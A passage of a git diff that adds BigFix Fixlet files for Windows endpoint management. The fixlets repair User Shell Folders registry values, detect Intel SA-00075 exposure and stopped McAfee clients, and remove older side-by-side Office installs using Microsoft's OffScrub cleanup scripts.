+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes
new file mode 100644
index 000000000..430d3a9e1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Incorrect User Shell Folders values may cause Installer errors - Windows (21687).bes	
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Incorrect User Shell Folders values may cause Installer errors - Windows
+  ID       : 21687
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-21T13:25:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Incorrect User Shell Folders values may cause Installer errors - Windows</Title>
+    <Description><![CDATA[<P>This fixlet detects and remediates the issue outlined in this Microsoft KB Article: <A href="https://support.microsoft.com/en-us/kb/886549">https://support.microsoft.com/en-us/kb/886549</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "6.0"]]></Relevance>
+    <Relevance>(value &quot;{374DE290-123F-4565-9164-39C4925E467B}&quot; of it as string != &quot;%25USERPROFILE%25\Downloads%00&quot; or value &quot;AppData&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming%00&quot; or value &quot;Desktop&quot; of it as string != &quot;%25USERPROFILE%25\Desktop%00&quot; or value &quot;Favorites&quot; of it as string != &quot;%25USERPROFILE%25\Favorites%00&quot; or value &quot;History&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Local\Microsoft\Windows\History%00&quot; or value &quot;Local AppData&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Local%00&quot; or value &quot;My Music&quot; of it as string != &quot;%25USERPROFILE%25\Music%00&quot; or value &quot;My Pictures&quot; of it as string != &quot;%25USERPROFILE%25\Pictures%00&quot; or value &quot;My Video&quot; of it as string != &quot;%25USERPROFILE%25\Videos%00&quot; or value &quot;NetHood&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Network Shortcuts%00&quot; or value &quot;Personal&quot; of it as string != &quot;%25USERPROFILE%25\Documents%00&quot; or value &quot;PrintHood&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Printer Shortcuts%00&quot; or value &quot;Programs&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu\Programs%00&quot; or value &quot;Recent&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Recent%00&quot; or value &quot;SendTo&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\SendTo%00&quot; or value &quot;Start Menu&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu%00&quot; or value &quot;Startup&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup%00&quot; or value &quot;Templates&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Templates%00&quot;) of key &quot;HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-21</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+delete __createfile
+delete import.reg
+
+createfile until _end_
+Windows Registry Editor Version 5.00
+
+[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
+&quot;AppData&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,00,00
+&quot;Desktop&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,44,00,65,00,73,00,6b,00,74,00,6f,00,70,00,00,00
+&quot;Favorites&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,46,00,61,00,76,00,6f,00,72,00,69,00,74,00,65,00,73,\
+  00,00,00
+&quot;History&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,4c,\
+  00,6f,00,63,00,61,00,6c,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,\
+  66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,48,00,69,\
+  00,73,00,74,00,6f,00,72,00,79,00,00,00
+&quot;Local AppData&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,\
+  49,00,4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,\
+  00,4c,00,6f,00,63,00,61,00,6c,00,00,00
+&quot;My Music&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,4d,00,75,00,73,00,69,00,63,00,00,00
+&quot;My Pictures&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,\
+  00,4c,00,45,00,25,00,5c,00,50,00,69,00,63,00,74,00,75,00,72,00,65,00,73,00,\
+  00,00
+&quot;My Video&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,56,00,69,00,64,00,65,00,6f,00,73,00,00,00
+&quot;NetHood&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,20,00,53,00,68,00,6f,00,72,00,\
+  74,00,63,00,75,00,74,00,73,00,00,00
+&quot;Personal&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,44,00,6f,00,63,00,75,00,6d,00,65,00,6e,00,74,00,73,\
+  00,00,00
+&quot;PrintHood&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,50,00,72,00,69,00,6e,00,74,00,65,00,72,00,20,00,53,00,68,00,6f,00,72,00,\
+  74,00,63,00,75,00,74,00,73,00,00,00
+&quot;Programs&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,5c,00,50,00,\
+  72,00,6f,00,67,00,72,00,61,00,6d,00,73,00,00,00
+&quot;Recent&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
+  00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,00,\
+  6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,\
+  00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,\
+  52,00,65,00,63,00,65,00,6e,00,74,00,00,00
+&quot;SendTo&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
+  00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,00,\
+  6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,\
+  00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,\
+  53,00,65,00,6e,00,64,00,54,00,6f,00,00,00
+&quot;Start Menu&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,\
+  00,4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,\
+  52,00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,\
+  00,73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,\
+  5c,00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,00,00
+&quot;Startup&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,5c,00,50,00,\
+  72,00,6f,00,67,00,72,00,61,00,6d,00,73,00,5c,00,53,00,74,00,61,00,72,00,74,\
+  00,75,00,70,00,00,00
+&quot;Templates&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,54,00,65,00,6d,00,70,00,6c,00,61,00,74,00,65,00,73,00,00,00
+&quot;{{374DE290-123F-4565-9164-39C4925E467B}&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,\
+  50,00,52,00,4f,00,46,00,49,00,4c,00,45,00,25,00,5c,00,44,00,6f,00,77,00,6e,\
+  00,6c,00,6f,00,61,00,64,00,73,00,00,00
+
+
+_end_
+
+move __createfile import.reg
+
+waithidden reg import import.reg</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes
new file mode 100644
index 000000000..e982e144b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows
+  ID       : 24269
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-09T10:05:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant than the system is exposed to exploitation of Intel SA 00075.</P>
+<P>Please use the Fixlet: <STRONG>Invoke - Intel SA 00075 Probe - Windows </STRONG>to populate results for a system. You can view more details of this in the Analysis: <STRONG>Vulnerabilities - Intel SA 00075 - Windows</STRONG></P>
+<P>More information on this vulnerability is available here: <A href="https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;languageid=en-fr">https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;languageid=en-fr</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(if (it = 1) then (true) else (false)) of (value &quot;Exposed&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Intel\Setup and Configuration Software\INTEL-SA-00075 Discovery Tool\ME Firmware Information&quot; of x32 registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-05-09</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes
new file mode 100644
index 000000000..f2d678985
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - McAfee Endoint Security is installed but may not be running
+  ID       : 20225
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-04-22T19:36:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - McAfee Endoint Security is installed but may not be running</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if McAfee Endpoint Security is installed but not running.</P>
+<P>This likely indicates an error with the McAfee client.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists folder (pathname of program files folder & "\McAfee\Endpoint Security")]]></Relevance>
+    <Relevance>(not exists running application &quot;vshwin32.exe&quot;) AND (not exists running application &quot;mcshield.exe&quot;)</Relevance>
+    <Category>Anti-Virus</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Apr 2016 18:58:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes
new file mode 100644
index 000000000..8e46c19a6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - McAfee VirusScan Enterprise is installed but may not be running
+  ID       : 20226
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-04-22T19:36:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - McAfee VirusScan Enterprise is installed but may not be running</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if McAfee VirusScan Enterprise is installed but not running.</P>
+<P>This likely indicates an error with the McAfee client.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists folder (pathname of program files folder & "\McAfee\VirusScan Enterprise")]]></Relevance>
+    <Relevance>(not exists running application &quot;vshwin32.exe&quot;) AND (not exists running application &quot;mcshield.exe&quot;)</Relevance>
+    <Category>Anti-Virus</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Apr 2016 18:58:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes
new file mode 100644
index 000000000..e502dd9ef
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows (23734).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows
+  ID       : 23734
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-10T06:24:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Microsoft Office 2010 and 2013 installed Side-by-Side - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects an Office 2010 install on the same machine as an Office 2013 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2010 Installation.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
+
+waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes
new file mode 100644
index 000000000..2b44cbebb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows (23735).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows
+  ID       : 23735
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-10T06:24:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Microsoft Office 2010 and 2016 installed Side-by-Side - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects an Office 2010 install on the same machine as an Office 2016 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2010 Installation.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;16.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
+
+waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes
new file mode 100644
index 000000000..fa95ba613
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows (23818).bes	
@@ -0,0 +1,4134 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows
+  ID       : 23818
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:32:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Microsoft Office 2013 and 2016 installed Side-by-Side - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet detects an Office 2013 install on the same machine as an Office 2016 install and uses the Office Cleanup tool to remove&nbsp;the Microsoft Office 2013 Installation.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;16.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete "OffScrub_O15msi.vbs"
+
+createfile until _end_
+'=======================================================================================================
+' Name: OffScrub_O15msi.vbs
+' Author: Microsoft Customer Support Services
+' Copyright (c) 2011-2015 Microsoft Corporation
+' Script to remove (scrub) Office 2013 MSI products
+' when a regular uninstall is no longer possible
+'=======================================================================================================
+Option Explicit
+
+Dim sDefault
+'=======================================================================================================
+'[INI] Section for script behavior customizations
+
+'Pre-configure the SKU's to remove.
+'Only for use without command line parameters
+'Example: sDefault = "CLIENTALL"
+sDefault = ""
+
+'DO NOT CUSTOMIZE BELOW THIS LINE!
+'=======================================================================================================
+
+
+Const SCRIPTVERSION = "1.99"
+Const SCRIPTFILE    = "OffScrub_O15msi.vbs"
+Const SCRIPTNAME    = "OffScrub_O15msi"
+Const OVERSION      = "15.0"
+Const OVERSIONMAJOR = "15"
+Const OREF          = "Office15"
+Const OREGREF       = "OFFICE15."
+Const ONAME         = "Office 2013 MSI"
+Const OPACKAGE      = "PackageRefs"
+Const OFFICEID      = "000000FF1CE}"
+Const HKCR          = &H80000000
+Const HKCU          = &H80000001
+Const HKLM          = &H80000002
+Const HKU           = &H80000003
+Const FOR_WRITING   = 2
+Const PRODLEN       = 12
+Const COMPPERMANENT = "00000000000000000000000000000000"
+Const UNCOMPRESSED  = 38
+Const SQUISHED      = 20
+Const COMPRESSED    = 32
+Const REG_ARP       = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
+Const VB_YES        = 6
+Const MSIOPENDATABASEREADONLY = 0
